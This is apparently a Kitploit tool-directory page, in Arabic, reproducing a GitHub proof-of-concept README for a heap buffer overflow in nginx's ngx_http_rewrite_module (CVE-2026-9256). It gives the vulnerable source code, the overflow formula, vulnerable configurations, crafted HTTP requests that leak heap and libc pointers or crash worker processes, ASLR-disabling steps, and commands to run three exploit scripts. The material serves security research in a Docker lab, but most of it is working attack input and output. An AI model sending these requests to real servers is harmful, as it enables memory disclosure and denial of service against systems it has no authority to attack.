Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-9256-Poc — يوضح تجاوز سعة المخزن المؤقت للكومة CVE-2026-9256 في ngx_http_rewrite_module الخاص بـ nginx مع سكربتات PoC لتسرب الكومة/libc وتعطل العامل. | Kitploit
أدوات/GitHubGitHub/3nou9h/cve-2026-9256-poc
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالأمن الويبالتعلم والتعليماستغلال الملفات الثنائية
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

يوضح تجاوز سعة المخزن المؤقت للكومة CVE-2026-9256 في ngx_http_rewrite_module الخاص بـ nginx مع سكربتات PoC لتسرب الكومة/libc وتعطل العامل.

عرض المستودع
315منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز سعة المخزن المؤقت الكومة في وحدة nginx ngx_http_rewrite_module

الوصف

يحتوي كل من nginx Plus و nginx مفتوح المصدر ngx_http_rewrite_module على ثغرة تجاوز سعة المخزن المؤقت الكومة. عند استخدام توجيه rewrite مع تعبير نمطي يحتوي على مجموعات التقاط PCRE متداخلة (على سبيل المثال ^/((.*))$) واستبدال يشير إلى عدة التقاطات (على سبيل المثال $1&y=$2)، فإن حساب حجم المخزن المؤقت للمسار الثابت يقلل من المساحة المطلوبة، مما يؤدي إلى تجاوز الكتابة الفعلية للحجم المخصص (Pool Slip).

يمكن للمهاجم غير الموثوق تشغيل ذلك عبر طلب HTTP مصمم، مما يؤدي إلى تجاوز سعة المخزن المؤقت الكومة في عملية العامل. عند تعطيل ASLR أو إمكانية تجاوزه، يصبح تنفيذ التعليمات البرمجية ممكنًا.

السبب الجذري

الملف: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: تم حساب تكلفة الهروب مرة واحدة لكامل URI
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // الطول الخام
    }
}

يتم هروب كل $N بشكل مستقل أثناء النسخ (ngx_http_script.c:1397-1401). تسبب الالتقاطات المتداخلة هروب نفس السلسلة الفرعية مرتين، مما يضاعف تكلفة الهروب، لكن التخصيص يحسبها مرة واحدة فقط.

معادلة التجاوز (تداخل من طبقتين ((.+))، Q حرف + في URI):

root@kitploit:~
المخصص = code_size + 2*Q + 2*(Q+1)
الفعلي = code_size + 2*(3*Q + 1)
التجاوز = 2*Q  (قابل للتحكم بدقة)

شروط التشغيل (جميعها مطلوبة):

بيئة الاختبار

المتطلبات

  • Docker (مع docker compose)
  • Python 3 (بدون تبعيات طرف ثالث)

هيكل الدليل

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # بناءً على nginx:1.31.0
│   ├── docker-compose.yml         # إعداد الحاوية (SYS_PTRACE)
│   ├── entrypoint.sh              # ASRL قيد التشغيل (افتراضي)
│   ├── entrypoint_aslr_off.sh     # ASLR معطل (من أجل libc_leak)
│   └── nginx.conf                 # إعداد ضعيف
├── heap_leak.py                   # برهان إثباتي heap_leak
├── libc_leak.py                   # برهان إثباتي libc_leak
├── crash_verify.py                # برهان إثباتي crash_verify
├── LICENSE
└── README.md

البناء والتشغيل

root@kitploit:~
cd env/

# سحب الصورة الأساسية (~200MB)
docker pull nginx:1.31.0

# البناء والبدء
docker compose up --build -d

# التحقق
curl -s http://127.0.0.1:19321/
# المتوقع: ok

الأوامر الشائعة

root@kitploit:~
# عرض سجلات nginx (معلومات التعطل)
docker compose logs -f

# الإيقاف والإزالة
docker compose down

# إعادة التشغيل (بعد التعطل)
docker compose restart

ASLR

تحقق من الحالة الحالية:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = معطل، 1 = جزئي، 2 = كامل

يعمل كل من heap_leak و crash_verify بغض النظر عن ASLR. يتطلب libc_leak تعطيل ASLR على المضيف:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

بدلاً من ذلك، قم بتعطيل ASLR فقط لعملية nginx (بدون امتياز مضيف): انسخ entrypoint_aslr_off.sh على entrypoint.sh، ثم docker compose up --build -d.

ملاحظة: تشترك الحاويات في نواة المضيف. يجب تعيين randomize_va_space على المضيف.

النتائج المؤكدة

تسرب مؤشر الكومة

الإعداد المطلوب:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

الآلية: يتسبب Pool Slip في هبوط ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) في منطقة التجاوز. الحقول المهيأة لمحرك البرنامج النصي (e->ip, e->sp, e->request) تتسرب إلى سلسلة الاستعلام الخاصة بـ URI المعاد كتابتها وتنعكس عبر return 200 "$arg_y".

الطلب:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

النتيجة المؤكدة (nginx:1.31.0، ASLR قيد التشغيل):

root@kitploit:~
e->ip      = 0x00006544dec82430  (مصفوفة الرموز في كومة التهيئة)
e->sp      = 0x00006544dec5ada0  (مكدس البرنامج النصي في كومة الطلب)
e->request = 0x00006544dec58880  (هيكل الطلب)

ما يتسرب: مؤشرات كومة خام ضمن مساحة عنوان عامل nginx.

البرهان الإثباتي: heap_leak.py


تسرب مؤشر نطاق libc

الإعداد المطلوب:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # يجب أن يكون قابلاً للوصول
    add_header X-Leak-Y "$arg_y" always;
}

الآلية: يُفعّل proxy_pass تهيئة الخادم العلوي. يتم تخصيص هياكل الخادم العلوي التي تحتوي على مؤشرات دوال المكتبة في منطقة التجاوز. يكتب add_header "$arg_y" البايتات الخام في رأس الاستجابة.

الطلب:

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

النتيجة المؤكدة (nginx:1.31.0، ASLR معطل، request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

ما يتسرب: مؤشر خام في نطاق 0x7f... (منطقة تحميل libc). لحساب قاعدة libc، اقرأ /proc/<pid>/maps على الهدف واحسب leaked_ptr - libc_base.

الاعتماد على ASLR: تتطلب هذه المرحلة تعطيل ASLR. ينشأ المؤشر المتسرب من بيانات تعريف الكتلة المحررة (fd/bk → main_arena). مع تشغيل ASLR، يختلف إزاحة الكتلة المحررة ولا تستطيع التجاوزات الصغيرة الوصول إليها بشكل موثوق.

البرهان الإثباتي: libc_leak.py


بديل أبسط: باستخدام وضع redirect (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;)، يعرض رأس Location مباشرة البايتات الخام المتجاوزة بدون مشاكل ترميز الأحرف. يمكن لطلب واحد تسريب مؤشرات كومة (Q=10~450) أو التسبب في تعطل (Q >= 500)، دون حاجة إلى proxy_pass أو pool_size خاص.


تعطل العامل (رفض الخدمة)

الإعداد المطلوب:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

الآلية: ينتج عن التداخل من 9 طبقات تجاوز = 16Q (مقابل 2Q للطبقتين). عند request_pool_size=7920، يخرج Q=123 عن حدود كتلة التجمع، مما يكتب فوق بيانات تعريف الكتلة malloc المجاورة. يكتشف glibc التلف ويُنهي العامل. يعيد المشرف التلقائي التشغيل.

الطلب:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

النتيجة المؤكدة (nginx:1.31.0، request_pool_size=7920):

root@kitploit:~
Q=122: استجابة عادية (التجاوز=1952B)
Q=123: لا استجابة، nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
تم التكرار 5/5 مرات.

التداخل مقابل حجم التجمع: تنتج N طبقة تجاوز = (N-1)*2*Q. حجم التجمع الافتراضي 4096 مع تداخل 9 طبقات يكفي للتعطل. حجم التجمع الأكبر يتطلب طبقات أقل لـ Q معين.

البرهان الإثباتي: crash_verify.py

تشغيل البراهين الإثباتية

root@kitploit:~
# المرحلة 1: تسرب مؤشر الكومة
python3 heap_leak.py 127.0.0.1 19321

# المرحلة 2: تسرب مؤشر نطاق libc (يتطلب تعطيل ASLR)
python3 libc_leak.py 127.0.0.1 19321

# المرحلة 3: تعطل رفض الخدمة
python3 crash_verify.py 127.0.0.1 19321

إخلاء المسؤولية

تم تقديم هذا البرهان الإثباتي للأغراض التعليمية والبحث الأمني المصرح به فقط. الاستخدام غير المصرح به محظور.

تنزيل الأداة
الشرطالتفصيل
لا متغيرات مسماة، ولا تكرار $Nمسار ثابت (sc.variables==0 && !sc.dup_capture)
مجموعة التقاط متداخلة في التعبير النمطيعلى سبيل المثال ((.+)) يجعل $1 و $2 يطابقان نفس المحتوى
وجود + أو %XX في URIيؤدي إلى تفعيل مسار الهروب (plus_in_uri أو quoted_uri)